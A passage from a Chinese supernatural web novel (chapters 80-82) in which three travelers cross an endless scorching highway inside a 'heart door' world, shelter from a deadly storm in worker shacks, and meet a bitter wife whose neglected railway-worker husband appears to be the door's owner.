三人拿了水,没有再做停留,转身走出了这栋阴凉的小楼。 刚一踏出门。 那股熟悉的,那股熟悉的,令人窒息的酷热便再次扑面而来。 头顶的烈日依旧高悬,散发着仿佛要将万物都烤焦的温度。 好在刚刚喝足了水,又在屋里休息了大半个小时,身体对于这种酷热的忍耐力,倒是比之前强了一些。 只是。 站在空旷的公路上。 看着前方依旧没有尽头的公路。 看着在热浪中微微扭曲的柏油路面。 三人的心情,不免都有些沉重。 不知道—— 下一个可以落脚的地方,会在什么时候出现。 更不知道—— 这条绝望之路,究竟还要走多久。 又或者,这条路,真的有尽头吗? 第80章 第 80 章 无尽公路4 三人继续往前。 身后那栋孤零零的小楼, 在他们走出不足百米之后,便在蒸腾的热浪里扭曲、模糊。 最终像海市蜃楼般消散无踪,仿佛从未存在过。 又走了不知多久。 两个小时, 或许更长。 这段路程比之前更加难熬。 先前补充的水分早已消耗殆尽,喉咙再次干裂得冒火。 乐康的身体晃得更厉害了,整个人几乎是凭借着最后一点意志力在拖着腿往前挪。 就在这时, 走在最前面的肖靳言,毫无预兆地停下了脚步。 宿珩和乐康也跟着停下。 公路中间,一具女人的尸体静静地躺在那里。 她仰面朝天, 双目圆睁, 瞳孔里凝固着生命最后一刻的惊恐与绝望。 脚上一双平底布鞋, 鞋底已经彻底磨穿,露出了滚烫路面烫得血肉模糊的脚掌。 其他裸露在外的皮肤, 被晒得焦黑干裂,像是被活活晒死在这条绝望的公路上。 肖靳言眉头紧锁,正打算上前仔细查看那具尸体。 毫无征兆地,头顶忽然一暗。 浓厚的乌云凭空而生, 如同泼洒的墨汁, 转瞬间就吞没了那轮毒辣的烈日。 紧接着, 狂风大作。 公路两旁原本死寂的灰雾被搅得剧烈翻涌, 发出呜呜的怪叫,像是无数怨灵在咆哮。 气温骤降。 一股砭人肌骨的寒意, 瞬间取代了之前令人窒息的酷热。 宿珩猛地抬起头,望向那黑沉沉的天空。 一种不祥的预感在他心头迅速蔓延。 他下意识地喃喃自语:“要下暴雨了。” 话音刚落—— “轰隆!” 一声震耳欲聋的惊雷, 在头顶炸响,仿佛要将整个天空撕裂。 一场酝酿已久的暴雨,即将来临。 宿珩默默在心里计算着时间。 从他们刚刚进入这扇心门, 到现在,大约已经过去了六个小时左右。 天气从酷烈的暴晒,骤然转变为狂风暴雨的前兆。 直觉告诉他,这绝非巧合。 身旁,因为长时间的暴晒和绝望的行走,让乐康对于这场即将来临的暴雨,竟隐隐生出了几分不切实际的期待。 或许。 一场大雨能缓解这该死的酷热和干渴,能让他们稍微喘口气。 宿珩却只是瞥了一眼身旁的肖靳言。 两人眼神交汇,都从对方眼中读出了凝重。 他们都清楚。 在这扇诡异的心门世界里,任何突兀的天气变化,都不会是什么好事。 这场雨,绝不会是一场短暂的甘霖。 长时间淋暴雨,会让人迅速失温。 其危险程度,丝毫不亚于在烈日下脱水而死。 “我们得快一点,找到下一个落脚点。” 肖靳言当机立断,暂时放弃了查看那具女尸的打算,沉声对宿珩说道。 宿珩“嗯”了一声,没有丝毫犹豫,立刻加快了脚步。 乐康见他们突然走远,虽然不明白为什么他们对这场雨如此忌惮,但也本能地感觉到不安,连忙踉跄着追了上去,时不时抬头望向那越来越阴沉的天空。 头顶的暴雨仅仅酝酿了不到五分钟。 “轰隆隆——” 又是一连串更加密集的雷声炸响,震得人耳膜发麻。 紧接着。 黄豆大的雨点,便如同被谁从天上倾倒下来一般,携着万钧之势,重重地砸落下来。 雨点砸在裸露的皮肤上,竟带着一丝微弱的刺痛感。 几乎是瞬间,三人的衣服就被彻底打湿。 视野之中,很快便只剩下一片模糊的雨幕,能见度急剧下降。 大雨倾盆,天地间一片白茫茫。 三人顶着瓢泼大雨,埋头在公路上艰难地往前赶。 乐康最开始的那点期待,早已被这突如其来的狂暴雨势彻底浇灭,转而变成了深深的惊慌。 雨水模糊了他的视线,让他连眼睛都难以睁开。 冰冷的雨水不断冲刷着他的身体,带走所剩无几的体温。 他紧紧抱着自己的胳膊,牙齿不受控制地打着颤。 这样下去,他们就算不被这雨砸死,恐怕也要活活冻死在这条鬼路上了! 而且,在这样能见度极低的大雨中,脚下的路也变得湿滑难行,他好几次都差点滑倒,连路都走不稳。 反观走在他前面的那两个人。 他们的步子虽然也因为大雨而变得沉重,但却远比他要稳健得多。 宿珩头上的棒球帽早已湿透,雨水顺着帽檐不断淌下,在他眼前形成一道道细小的水帘。 他的脸色在冰冷的雨水中,显得愈发雪白,连平日里带着一丝淡粉的嘴唇,此刻也失去了所有颜色,呈现出一种病态的白。 肖靳言瞥了他一眼,沉默地走近,高大的身躯替他挡去了一部分迎面而来的风雨。 他看着宿珩那苍白的侧脸,和紧抿着的嘴唇,下意识地又往宿珩那边贴近了一些。 试图用自己的身体,为他隔绝更多冰冷的雨水和狂风。 乐康咬紧牙关,用尽全身力气,死死跟在两人身后,不敢有丝毫落后。 他感觉自己的身体越来越冷,意识也开始有些模糊。 不知在这瓢泼大雨中,又要艰难跋涉多久。 就在乐康感觉自己快要撑不下去的时候。 一直沉默赶路的肖靳言,目光忽然微微一凛。 透过重重雨幕,他看到前方不远处的公路边,隐约出现了一排模糊的轮廓。 “找到了!” 肖靳言的声音在雨声中显得有些沙哑,却带着一丝振奋。 宿珩闻言,也勉强抬起头,顺着他的视线望去。 那是一排紧贴着公路边缘搭建的,共三个集装箱式的简易板房。 这种板房通常是在建筑工地上,给工人们临时居住用的。 此刻,它们孤零零地立在狂风暴雨之中。 陈旧的铁皮外壳上布满了斑驳的锈迹。 冰冷的雨水无情地冲刷着板房,从生锈的缝隙中,不断流淌下肮脏发黄的锈水,在地面汇聚成一片片浑浊的水洼。 三人顶着暴雨,立刻加快了速度,朝着那排简易板房冲去。 雨太大了,每一步都像是踩在烂泥里,深一脚浅一脚,格外费力。 终于,他们冲到了第一间板房门口。 肖靳言抬手,一把拉开了那扇薄薄的铁皮门。 一股浓烈刺鼻的焦糊味混杂着雨水的腥气,猛地从门内灌了出来,呛得三人同时皱起了眉。 板房内一片狼藉。 几张简陋的床铺被烧得只剩下焦黑的铁架子。 地上散落着破碎的杂物和未燃尽的木炭,几处角落甚至还有微弱的火星在雨水的边缘闪烁,冒着丝丝缕缕的白烟。 更让人心惊的是—— 在房间中央,几具被烧得面目全非的焦炭状尸体胡乱地堆叠在一起,形状扭曲,散发着令人作呕的气味。 这里的一切,仿佛被一道雷,活活劈成了这样。 肖靳言的眉头瞬间拧成了一个疙瘩,眼底闪过一丝戾气。 他一言不发,反手将门摔上,转身便走向第二间板房。 “吱呀——” 第二间板房的门被拉开。 里面光线昏暗,摆着四张简陋的木板床。 其中三张床上,已经蜷缩着三道人影。 听到开门声,那三人几乎是同时惊跳起来。 像是三只受惊的兔子,警惕中又带着几分惊恐,望向门口的三人。 其中一个看起来略微年长的男人,强作镇定地率先开口:“这……这里只能再留一个人了!” 他对床的女人神经质一般,跟着尖声道:“没错,人数不能超,超了……超了会受惩罚的,你们去旁边那间看看!” 肖靳言的目光扫过他们惊惧的脸,又联想到第一间板房内的惨状,心中已然有了判断。 这两人说的,恐怕是真的。 他侧过身,看向已经冻得嘴唇发紫,全身都在不受控制地发抖的乐康,沉声道:“你留在这里。” 乐康此刻早已被冻得几近麻木,听到这话,几乎是立刻点了点头。 他现在唯一的念头就是找个地方躲雨,哪怕只是一丁点的温暖也好。 他连滚带爬地钻进了板房,一屁股瘫坐在离门口最远的一张空床上,牙齿依旧在咯咯作响。 雨点疯狂地砸在铁皮屋顶上,发出震耳欲聋的“噼里啪啦”声。 板房里虽然依旧阴冷潮湿,但至少隔绝了外面狂暴的风雨,让他感觉好受了一些。 乐康喘息稍定,这才想起什么,抬头看向还站在门口的肖靳言和宿珩,声音被冻得哆嗦。 “那……那你们呢?” 肖靳言面无表情地说:“我们去隔壁。” 乐康眼中闪过一丝犹豫和依赖。 与其和这三个陌生的,看起来随时会崩溃的人待在一起,他本能地更想跟着肖靳言和宿珩。 然而,肖靳言却像是看穿了他的心思,语气不容置喙:“先熬过这场暴雨再说。” 乐康张了张嘴,最终还是把到了嘴边的话咽了回去,默默点了点头。 肖靳言不再停留,转身便走向了第三间板房。 宿珩默不作声地跟在他身后。 第三间板房的门同样轻易被拉开。 里面是空的,没有人。 同样是四张光秃秃的木板床,散发着潮湿的霉味。 两人迅速走了进去,肖靳言反手将门关上,隔绝了外面大部分的风雨声。 宿珩的体温已经很低了,脸色苍白得吓人,嘴唇几乎没有血色。 肖靳言体魄远比他强健,此刻虽然也浑身湿透,但精神状态尚可。 他看了一眼宿珩,说:“把湿衣服全脱了。” 再这样让冰冷的雨水继续带走体温,谁也扛不住。 宿珩知道轻重,闻言抿了抿干涩的嘴唇,没有多问,开始解自己上衣的扣子。 很快,他便脱掉了湿透的上衣、鞋袜和外裤,只穿着一条同样湿漉漉的短裤。 裸露在外的皮肤白得似雪,泛起了一层细密的鸡皮疙瘩。 肖靳言收回目光。 反手从自己湿透的裤腿内侧,抽出那把一直贴身携带的黑色短刀。 他走到一张木板床边,动作干净利落地用刀锋撬开连接处,拆下几块干燥的床板。 “你等我一会儿。” 他对宿珩说了一句,然后将拆下来的床板削出一些细碎的木屑,小心地用自己还算干爽的衬衫内层护住。 他转身,毫不犹豫地再次拉开门,重新冲进了第一间充斥着焦糊味的板房。 片刻之后,肖靳言捧着一小簇微弱的火星,迅速返回。 他将火星小心地放在木屑上,轻轻吹了几口气。 很快,一缕细小的火苗便颤巍巍地升腾起来。 他将更多的碎木板架在火苗上。 “呼——” 火光渐旺,在昏暗潮湿的板房内驱散了一丝寒意。 宿珩只穿着一条短裤,抱紧膝盖,默默地坐在了火堆旁,感受着久违的暖意。 肖靳言也迅速脱下了自己全身湿透的衣服。 他本想连最后一件短裤也一并脱掉。 但目光不经意间扫过宿珩那在火光下,显得格外白皙清瘦的脊背,手上的动作顿了顿。 不太合适。 怕吓到他。 肖靳言轻咳一声,还是决定把短裤留了下来。 毕竟,他想要的坦诚相见,可不是在眼下这种狼狈又凶险的环境里。 两人就这样赤着上半身,围坐在简陋的火堆旁,烤着火,也烤着各自脱下来的湿衣服。 雨点依旧疯狂地敲打着铁皮屋顶,发出单调而嘈杂的声响。 随着体温逐渐回升,板房内的气氛,也渐渐变得有些微妙和尴尬起来。 为了打破这份沉默,肖靳言率先开口,声音带着一丝火烤后的沙哑。 “怎么样,这扇心门你有什么思路吗?” 宿珩摇了摇头,火光映照下,他苍白的脸上终于泛起了一丝血色。 “暂时还没有什么头绪。” 他顿了顿,补充道:“但是,我知道,这地方不能久待。” “嗯?” 肖靳言看向他。 宿珩抬手指了指靠近门口的一侧铁皮墙壁。 那里,用图钉歪歪扭扭地钉着一张已经发黄卷边的日历纸。 日历纸上,用黑色的水笔,歪歪扭扭地写着一行字—— [休息时间:晚11:00 –早5:00] 心门中某些文字性的东西,或者与时间相关的信息,往往更值得留意。 肖靳言摸了摸下巴,若有所思。 “如果我们进入这条公路的时间,算作晚上十一点的话,也就是说,我们必须在明天早上五点之前离开这里。” 他得出结论—— “也就是说,我们在这里,最多只能停留6个小时。” 宿珩“嗯”了一声,算是认同。 他从旁边拿起一块拆下来的木板,默默地往火堆里添着,没有再说话。 跳跃的火光映在他的脸上,明明灭灭,火舌在他漆黑的瞳孔中舞动,竟有一种异样的漂亮。 肖靳言不动声色地挪开了视线,目光在简陋的板房内随意扫过。 忽然,他注意到其中一张木板床的下方,似乎堆放着不少东西。 他走过去,蹲下身查看。 床板下方,果然堆着许多工具。 有半旧的铁镐,有带着豁口的铁锤,还有几把生了锈的锯子,甚至还有几顶落满灰尘的安全帽。 这里,简直就像一个真正的,属于建筑工人的临时板房。 肖靳言的脑海中,似乎有什么念头一闪而过。 他忽然开口问道:“你觉得,这扇心门的主人,会是什么样的人?” 宿珩依旧低垂着眉眼,专注地看着眼前燃烧的火焰,声音在雨声和柴火的噼啪声中显得有些飘忽。 “烈日,没有尽头的公路,老头古怪的话,还有……” 他抬起眼,目光掠过床下那些工具,最后定格在跳动的火焰上,“这间板房。” “如果想把这些线索都关联起来……” 宿珩的声音顿了顿,带着一丝不易察觉的冷意。 “我能想到的,就只有一种可能。” 80-90 第81章 第 81 章 无尽公路5 肖靳言的目光在那些工具上停留片刻, 最终落回宿珩身上,等待着他的下文。 宿珩凝视着那团摇曳的火焰。 轻声道:“一个……无论刮风下雨,酷暑严寒, 都必须一刻不停往前走的人。” 这个描述很宽泛,甚至有些过于浅显和直白。 肖靳言闻言,却没有立即接话。 他沉吟了会儿, 深邃的眼眸在火光下晦暗不明,像是在咀嚼宿珩话里的深意。 片刻后,他才开口, 嗓音里带着几分恍然。 “你觉得, 是个负重前行的打工人?” “有可能吧。” 宿珩不置可否, “但要想真正知道这心门的主人是谁,我们恐怕仍要继续往前走。” 肖靳言“嗯”了一声, 随手从床底下抽出一根半截的铁镐,用来拨弄渐渐衰弱的柴火。 火星噼啪炸响,火苗重新窜高,驱散了板房内最后一丝阴冷湿气。 等火势又旺了一些, 他将铁镐随手丢在地上, 挨着宿珩坐了下来。 两人的肩膀几乎要碰在一起。 他双手向后撑在冰凉的地上, 仰头, 懒洋洋地打了个哈欠。 “不过现在,就算是天要塌下来, 也得先睡一觉。” “恢复体力才是正事。” 说着,他也不管地上脏不脏, 直接就这么躺了下来,闭上了眼睛,呼吸很快就变得平稳悠长。 宿珩侧头, 静静看着他。 肖靳言身上还带着未干透的湿气,几缕黑色的发丝凌乱地贴在额角和脸侧。 跳动的火光勾勒着他英俊硬朗的脸部轮廓。 鼻梁高挺,下颌线清晰,像一幅用笔粗犷、墨色很重的速写画。 不得不承认。 这个男人,无论是外形还是内在,都精准地踩在了自己的审美点上。 宿珩不动声色地收回视线。 连续走了六个多小时的路,紧绷的神经在得到片刻的安宁后,疲惫感如同潮水般汹涌袭来。 宿珩的眼皮也开始不受控制地变得沉重。 他听着外面哗啦哗啦的雨声,和柴火燃烧的噼啪声,不知不觉间阖上了眼,意识沉入了短暂的黑暗。 雨声不知疲倦地敲打着铁皮屋顶,像是永无止境的催眠曲。 不知过了多久。 当宿珩再次恢复意识时,耳边持续的雨声已经小了很多,变成了淅淅沥沥的余韵。 身下的柴火堆也快要燃尽了,只剩下一些微弱的火星在余烬中闪烁。 他动了动僵硬的身体,却发现自己枕着的地方异常温暖。 甚至还带着一种结实而充满弹性的触感。 宿珩缓缓睁开眼。 下一秒,他整个人都僵住了。 他枕着的,是一条肌肉线条流畅分明的手臂。 而手臂的主人,肖靳言,正侧躺在他身边。 肖靳言的下巴轻轻抵在他的头顶,温热的呼吸有一下没一下地,落在他的发间。 更让宿珩心跳漏了一拍的是—— 肖靳言另一只滚烫的手臂,正极具占有欲地横在他的腰上,将他整个人半圈在怀里。 难怪他一点都不觉得冷,原来自己一直被当成了个人形抱枕…… 宿珩在心里暗暗“啧”了一声。 他全然没有意识,自己是怎么睡着睡着,就睡到人家胳膊上去了。 尤其……他们两人上半身都还没穿衣服。 肌肤相贴,呼吸交缠,这种姿势,实在有些过于亲密,堪称暧昧。 宿珩屏住呼吸,小心翼翼地将肖靳言环在自己腰间的手臂拿开,然后悄无声息地坐起身。 他拿起搭在床板边,已经烘得差不多干透的衣服,开始往身上套。 换衣服的时候,他瞥了一眼依旧闭着眼睛的肖靳言。 对方呼吸平稳,似乎睡得很沉。 但宿珩却莫名觉得,这家伙,是在装睡。 想到这里,他伸出脚,不轻不重地踢了踢肖靳言的小腿。 “别装睡了,时间快到了。” 宿珩的声音带着刚睡醒的一丝沙哑。 被他踢了一脚,肖靳言这才“唔”了一声,慢悠悠地睁开眼睛,一副刚刚被吵醒的慵懒模样。 他伸了个大大的懒腰,古铜色的健壮身躯在残余火光的映照下,一览无遗。 结实的胸肌,块垒分明的腹肌。 以及……一座高耸的小山。 这一切,都毫无遮拦地暴露在宿珩眼前。 宿珩的视线如同被烫到一般,瞬间挪开。 肖靳言挑了挑眉,慢悠悠地坐起身,揉了揉自己被宿珩枕得有些发麻的胳膊,嘴角噙着一抹若有似无的笑意。 他捡起自己的衣服,慢条斯理地穿上。 两人各自收拾完毕,肖靳言最后用脚将那堆尚有余温的灰烬彻底踩灭。 随后,他们一前一后,走出了这间提供了短暂庇护的板房。 外面的雨已经差不多停了。 空气意外的清新湿润,带着雨后的微凉。 天空中的乌云正在缓缓消散,露出了铅灰色的天幕。 宿珩走到隔壁那间板房门口,抬手敲了敲薄薄的铁皮门,喊了一声:“乐康。” 很快,门内传来一阵悉悉索索的动静。 紧接着,铁皮门“吱呀”一声被拉开。 开门的正是乐康,看到是他们,他的脸上露出一丝惊喜。 板房内空荡荡的,只剩下他一个人了。 “那三个人呢?” 宿珩随口问道。 乐康揉了揉眼睛,有些不好意思地说:“我睡得太沉了。醒来的时候,那三个人就已经走了。” “不过……其中一个大哥走之前特意跟我说,让我注意时间,等雨停了就喊你们赶紧离开这里。” 宿珩没有接话,他只是抬起头,望向天空。 厚重的云层已经裂开了一道狭长的缝隙。 一缕久违的,带着炙烤意味的金色阳光,正从云缝中挣扎着挤了出来,在湿漉漉的公路上投下一片刺眼的光斑。 那轮恐怖的烈日,似乎又要回来了。 宿珩收回目光,看向身旁的肖靳言和乐康,声音恢复了一贯的清冷。 “雨停了,该走了。” …… 三人重新踏上公路。 雨后的天空短暂地清爽了片刻。 但没走多久,乌云很快散尽,烈日再次高悬,无情地炙烤着大地。 湿漉漉的路面迅速蒸腾起白色的水汽,混杂着柏油路被暴晒后的刺鼻气味,让空气变得更加闷热黏腻。 好在经过了短暂的休整和睡眠,三人的体力都恢复了不少。 尤其是宿珩和肖靳言,脚程明显比之前快了许多。 乐康虽然依旧有些虚弱,但在求生欲的驱使下,也咬牙紧紧跟在两人身后。 即便如此。 在这样的暴晒下持续行走,依旧是对生理和心理的双重折磨。 汗水很快再次浸透了他们的衣衫,紧紧贴在皮肤上,带来令人烦躁的湿热感。 时间在单调的行走中再次变得模糊。 不知又走了多久。 就在乐康感觉喉咙再次干裂得快要冒烟,视线也开始因酷热而微微扭曲时,走在最前面的肖靳言,脚步再次一顿。 宿珩和乐康立刻顺着他的视线望去。 在前方公路的一侧,蒸腾的热浪之中,隐约出现了一个独立的、方方正正的轮廓。 那东西看起来很突兀,像是一间被人从某栋楼房里,硬生生抽离出来的单独居室,孤零零地杵在路边。 一扇门,没有关。 随着距离的拉近,门前的景象也逐渐清晰起来。 两个小孩,一男一女,正站在门口。 女孩看起来大约十一二岁的年纪,穿着一件碎花连衣裙,此刻正瘪着嘴,眼圈通红,哇哇大哭。 她旁边站着一个约莫六七岁的小男孩,穿着背心短裤,手里捏着一根已经舔了一半的棒棒糖,正手足无措地看着哭泣的女孩,小脸上满是慌乱。 女孩的脚边,散落着一个布娃娃的残骸,脑袋和身体已经分家,棉花内芯露了出来。 显然,是小男孩闯了祸。 “呜呜呜……我的娃娃……你把我的娃娃弄坏了……呜呜……” 女孩的哭声尖细,带着孩童特有的穿透力,在这空旷炙热的公路上显得格外刺耳。 小男孩急得眼泪也在眼眶里打转,结结巴巴地解释:“我……我不是故意的……姐姐,你别哭了……” 他想把手里的棒棒糖递给女孩,女孩却一把挥开,哭得更凶了。 许是女孩的哭声实在太大了,门内突然传来一声尖利的喝骂。 “哭哭哭!” “一天到晚就知道哭!吵死了!” 话音未落。 一个穿着鲜艳吊带裙,浓妆艳抹的女人踩着一双细高跟鞋,从门内快步走了出来。 她头发烫成时髦的大波浪,脸上涂着厚厚的粉底,眼影和口红的颜色都十分夸张。 女人一出来,便一眼看到了地上散架的布娃娃,柳眉倒竖,伸手就揪住了小男孩的耳朵,用力一拧。 “你个小兔崽子!又把姐姐的东西搞坏了是不是?看我不打死你!” “哇啊——痛!妈妈我错了!好痛!” 小男孩被揪得龇牙咧嘴,手里的棒棒糖掉在了地上,顿时也跟着哇哇大哭起来。 女人的太阳穴突突直跳,被两个孩子的哭声吵得心烦意乱,索性松开手,叉着腰开始数落: “一天到晚就知道给我惹麻烦!” “跟你那个不争气的死鬼老爸一个德行!” “钱赚不到几个,天天就知道工作工作,家也不回!” “老娘连麻将都没法好好打,天天在家伺候你们这两个小祖宗!” 她骂得唾沫横飞,胸口剧烈起伏着。 骂着骂着—— 女人的视线不经意间一转。 忽然注意到了正朝着这边走来的宿珩三人。 走在最前面的,是一个身材高大健硕,短袖T恤被汗水湿透,隐约透出结实肌肉轮廓的英俊男人。 女人眼睛骤然一亮。 随即,她的视线又滑向他身后。 一个同样被汗水濡湿,但脸庞却依旧清透俊秀的男生。 女人脸上的烦躁和刻薄,瞬间被一抹惊喜和热情取代。 “你们好啊,新来的赶路人?” 女人脸上的表情变化之快,令人咋舌。 她主动迎上几步,声音也变得嗲声嗲气,“看你们热的,要不要进来喝口水,歇歇脚啊?” 肖靳言抬手抹了把额头上的汗珠,脸上露出一抹客气而略带疲惫的笑容。 “那就打扰大姐了。” “不打扰不打扰!” 女人笑得花枝招展,连忙摆手,随后回头催促那两个还在抽噎的孩子。 “哭什么哭,还不赶紧回家去,有客人来了!” 男孩女孩被她一喝,也不敢再哭了,飞快捡起地上的棒棒糖和破烂娃娃,一溜烟跑回了屋里。 女人这才扭着腰,热情地推开门,将三人迎了进去。 “快进来快进来,外面太阳太毒了。” 一踏入屋内,一股浓烈的,有些刺鼻的油漆味便扑面而来。 宿珩微微蹙了蹙眉,打量着四周。 这似乎是一个普通的三居室套房的格局。 客厅、卧室、厨房的门都清晰可辨。 墙壁刚粉刷过,雪白簇新。 但空气中弥漫的油漆味昭示着这里刚装修完不久。 屋内的家具却十分简陋,几件不成套的沙发和茶几,对面的墙上还挂着一面老款的液晶电视,看起来像是临时拼凑成的。 那两个小孩已经不见了踪影,大概是躲回了自己的房间。 女人热情地招呼他们在客厅的旧沙发上坐下,自己则扭着腰肢进了厨房。 很快,她端着三杯水走了出来,放在茶几上。 “来,喝水解解渴。” 她的声音比在外面时温柔了不少。 不像第一个遇到的黑瘦老头那样张嘴就要钱,这个女人显得“好客”许多。 她将水杯放下后,便挨着肖靳言坐了下来。 一双涂着亮晶晶指甲油的手,有意无意地拨弄着自己垂在胸前的卷发。 她一会儿看看肖靳言,一会儿又瞟瞟宿珩,眼神露骨,毫不掩饰自己的兴趣。 “三位这是从哪里来呀?看着面生得很……” “小哥多大年纪了?” “有没有对象啊?” 她的问题主要抛给肖靳言,但眼神却时不时在宿珩身上打转。 这种场合,肖靳言向来应付得游刃有余。 他端起水杯喝了一大口,清凉的液体缓解了喉咙的干涩。 这才慢条斯理地敷衍道:“我们就是随便走走,迷路了。年纪不小了,对象嘛,随缘。” 女人显然不满意这个含糊的答案。 她不甘心地又往肖靳言身边凑了凑。 还故意将吊带裙的肩带往下滑了滑,露出一片雪白的肩膀,朝他抛了个媚眼。 “那小哥你喜欢什么类型的呀?” 肖靳言喝干了杯中的水,将空杯子往茶几上一放。 他好整以暇地靠在沙发背上,下巴朝着旁边安静喝水的宿珩那边,不着痕迹地抬了抬。 语气带着几分戏谑,却又毫不避讳。 “我喜欢他那种类型的。” 宿珩正低头喝水,闻言,拿杯子的手几不可察地顿了一下,水面泛起一丝涟漪。 他抬眸,淡淡地瞥了肖靳言一眼,没有说话,只是眼底闪过一丝不易察觉的异样。 那女人脸上的笑容却骤然僵住,随即迅速沉了下来,像是被人当头泼了一盆冷水。 她上下打量了宿珩几眼,眼神中带着一丝不屑和嫉妒,最终撇了撇嘴,小声嘟囔了一句:“切,真没眼力见儿。” 她对肖靳言和宿珩顿时失去了所有兴趣,觉得自讨没趣。 沉默了几秒。 女人似乎觉得就这么冷场有些不甘心。 目光一转,又落在了从进门开始就一直低着头,显得有些局促不安的乐康身上。 她换上一副百无聊赖的表情,身体往乐康那边挪了挪,语气也随意了许多。 “哎,那个小兄弟,你呢?” “多大年纪了?有没有对象啊?喜欢什么类型的跟姐姐说说呗?” 乐康本就因为之前的经历而心有余悸,此刻被这女人过森*晚*整*理分的热情,以及她眼中毫不掩饰的打量和某种贪婪的眼神吓到了。 他下意识地缩了缩肩膀,头垂得更低,声音细若蚊蚋:“我……我……” 他支吾了半天,也没说出一句完整的话来。 女人见他这副唯唯诺诺的样子,顿时更加不耐烦了,翻了个白眼,语气刻薄地抱怨了起来。 “真是个闷葫芦!” “比我家那个不着家的死鬼……更没劲!” 说完,她便不再理会三人。 自顾自地从沙发缝里摸出一部最新款的智能手机,坐到另一边的单人沙发上,翘起二郎腿,专心致志地玩了起来。 手机屏幕上光影闪烁,消息提示音“叮叮当当”地响个不停。 女人盯着屏幕,时不时发出一两声娇笑,嘴角咧开的弧度像是盛开的花一样,与刚才的刻薄和不耐烦判若两人。 宿珩慢慢放下水杯。 抬头注视着挂在液晶电视旁,一张十几寸大小的结婚照上。 第82章 第 82 章 无尽公路6 那张十几寸的结婚照上, 已经蒙了一层薄薄的灰。 照片里的女人,五官轮廓与眼前这个浓妆艳抹的女人有七八分相似,只是那时更显年轻清秀。 她穿着洁白的婚纱, 脸上却没什么喜悦,嘴角抿着,笑容显得十分勉强, 甚至带着一丝不情愿。 她身旁,一个男人穿着不太合身的西装,正伸出手臂, 有些拘谨地搂着她的腰。 男人面相普通, 皮肤黝黑。 即便婚纱照经过了精修, 依旧能看出他脸上粗糙的质感。 他咧着嘴,笑得一脸憨厚朴实, 眼神里透着几分紧张和喜悦。 宿珩的目光在照片中男人的脸上停留了片刻,眉头却轻轻一蹙。 这个男人的眉眼,与之前在第一栋房子里遇到的那个黑瘦老头,竟有几分说不出的相似。 一条模糊的线, 似乎在他脑海中逐渐清晰。 那个贪婪的老头。 眼前这个刻薄的女人。 还有那两个孩子。 以及这条没有尽头的公路。 烈日和暴雨。 这扇心门的主人—— 大概率就是照片上的这个男人。 抠门爱财的父母, 抱怨不休的妻子, 年幼需要照顾的儿女。 表面上看, 这似乎是一个再普通不过的家庭。 然而。 门外那永无止境的公路,和极端恶劣的天气, 却昭示着这个男人内心深处,无人知晓的绝望。 那绝望的根源, 又会是什么? 宿珩想起了在暴雨中遇到的简易板房,以及板房床底下堆放的那些铁镐、铁锤和安全帽。 他收回投向结婚照的目光,转向那个依旧低头专心玩手机的女人, 声音平静地开口问道:“大姐,你爱人是做什么工作的?” 女人正对着手机屏幕笑得花枝乱颤,似乎在和什么人聊得火热。 听到宿珩的问话,她头也没抬,有些不耐烦地抽空回了一句。 “他啊?” “一个破修铁路的,死在外面都没人知道!” 她顿了顿,语气里的刻薄和不满几乎要溢出来。 “一星期能有六天半不着家,钱也挣不到几个,儿子女儿也不管!” “你说说,要这种男人有什么用?还不如趁早死了干净!” 女人这番话说得极为难听,宿珩的眉头不适地皱了起来。 他几乎是立刻想起来刚进国道时,路边那条锈迹斑斑的铁路线。 他甚至还能清晰地感觉到—— 随着女人这些恶毒话语的出口,空气中骤然弥漫开一股令人窒息的压力。 那是一种被沉重的生活担子压垮的疲惫,以及被最亲近之人背叛和忽视的痛苦与怨恨。 就在这时。 女人迟迟不离手的手机,忽然“嗡嗡”震动起来,屏幕上跳出一个来电显示。 女人看了一眼,脸上瞬间闪过一丝厌恶和不耐,骂了一声:“阴魂不散!” 她不情不愿地划开接听键,音量开得很大,她也没有调小的想法。 电话那头立刻传来一个男人疲惫而带着几分小心翼翼的讨好声音。 背景音有些嘈杂,似乎还有风声。 “喂,老婆,是我。” “有屁快放!” 女人的语气恶劣至极。 电话那头的男人似乎早已习惯了妻子的态度,声音依旧温和。 “你这几天在家干什么呢?” “小欢和小伟他们……听不听话啊?” “好得很,不用你操心!” 女人敷衍地回了两句,“没事我挂了,还要忙着做饭呢!” “哎,等等,先别挂!” 男人连忙出声阻止,“让……让小欢和小伟接个电话吧,我好几天没听到他们声音了。” 女人不耐烦地啧了一声,朝着紧闭的卧室房门方向,扯着嗓子喊道: “张小欢,张小伟!你们那个死鬼老爸找你们,赶紧出来一个接电话!” 她的声音尖利刺耳,在不大的客厅里回荡。 过了几秒。 卧室的门后,传来一个男孩略显稚嫩但带着明显抵触的声音,隔着门板,听得有些模糊。 “我不想接……我才不要接他的电话!” “我不要变成爸爸那样的废物!” 宿珩的耳力极好,这句含糊的话清晰地落入他耳中,让他略感不适,眉心微不可察地拧了起来。 那女人显然也听到了,但无所谓地耸了耸肩,显然早就习以为常了。 但就在男孩声音落下后几秒后,“吱呀”一声,卧室的门被拉开了。 之前那个哭鼻子的女孩张小欢,从房间里走了出来。 她眼圈依旧有些红肿。 有些不自在地瞥了沙发上的宿珩三人一眼后,张小欢低着头走到女人身边,从她手里接过了那个还在通话中的手机。 “喂……爸爸。” 女孩的声音很小,带着一丝怯生生的味道。 电话那头的男人听到女儿的声音,语气里顿时染上了几分难以形容的欣喜。 “哎,小欢啊。” 他顿了顿,又问道:“弟弟呢?他怎么不来接电话?” 女孩咬了咬嘴唇,声音更低了:“弟弟……弟弟他在睡觉。” “哦……” 男人声音里透出一丝失望,但很快又调整过来,“小欢,爸爸过几天就回去了。你在家要听妈妈的话,知道吗?” “爸爸……” 女孩犹豫了一下,还是小声问道:“你具体什么时候回来呀?我的布娃娃……被弟弟弄坏了,你什么时候发工资啊,我想要个新的布娃娃。” “啊?又弄坏了?” 男人似乎有些无奈,但还是立刻安慰道:“爸爸这次回去,给你买个新的,买个更大更漂亮的,好不好?你跟妈妈说一声,让她先带你去买。” 女孩顿时瘪起了嘴,“我现在就想要……” 女人一直竖着耳朵听着电话里的内容,一听到这话,立刻就不乐意了。 她一把抢过手机,对着话筒没好气地嚷道:“买买买!张口闭口就知道买新的!你当咱家是开银行的啊?!” “还有啊,这个月工资什么时候打回来?!” “家里的米都快吃完了!你再不寄钱回来,我们娘仨就准备喝西北风了!” 电话那头的男人被她吼得没了声音。 过了好一会儿,才用更加小心翼翼的语气说道:“就这两天,就这两天发工资了,发了我立马就转给你,一分都不会少。” “哼!” 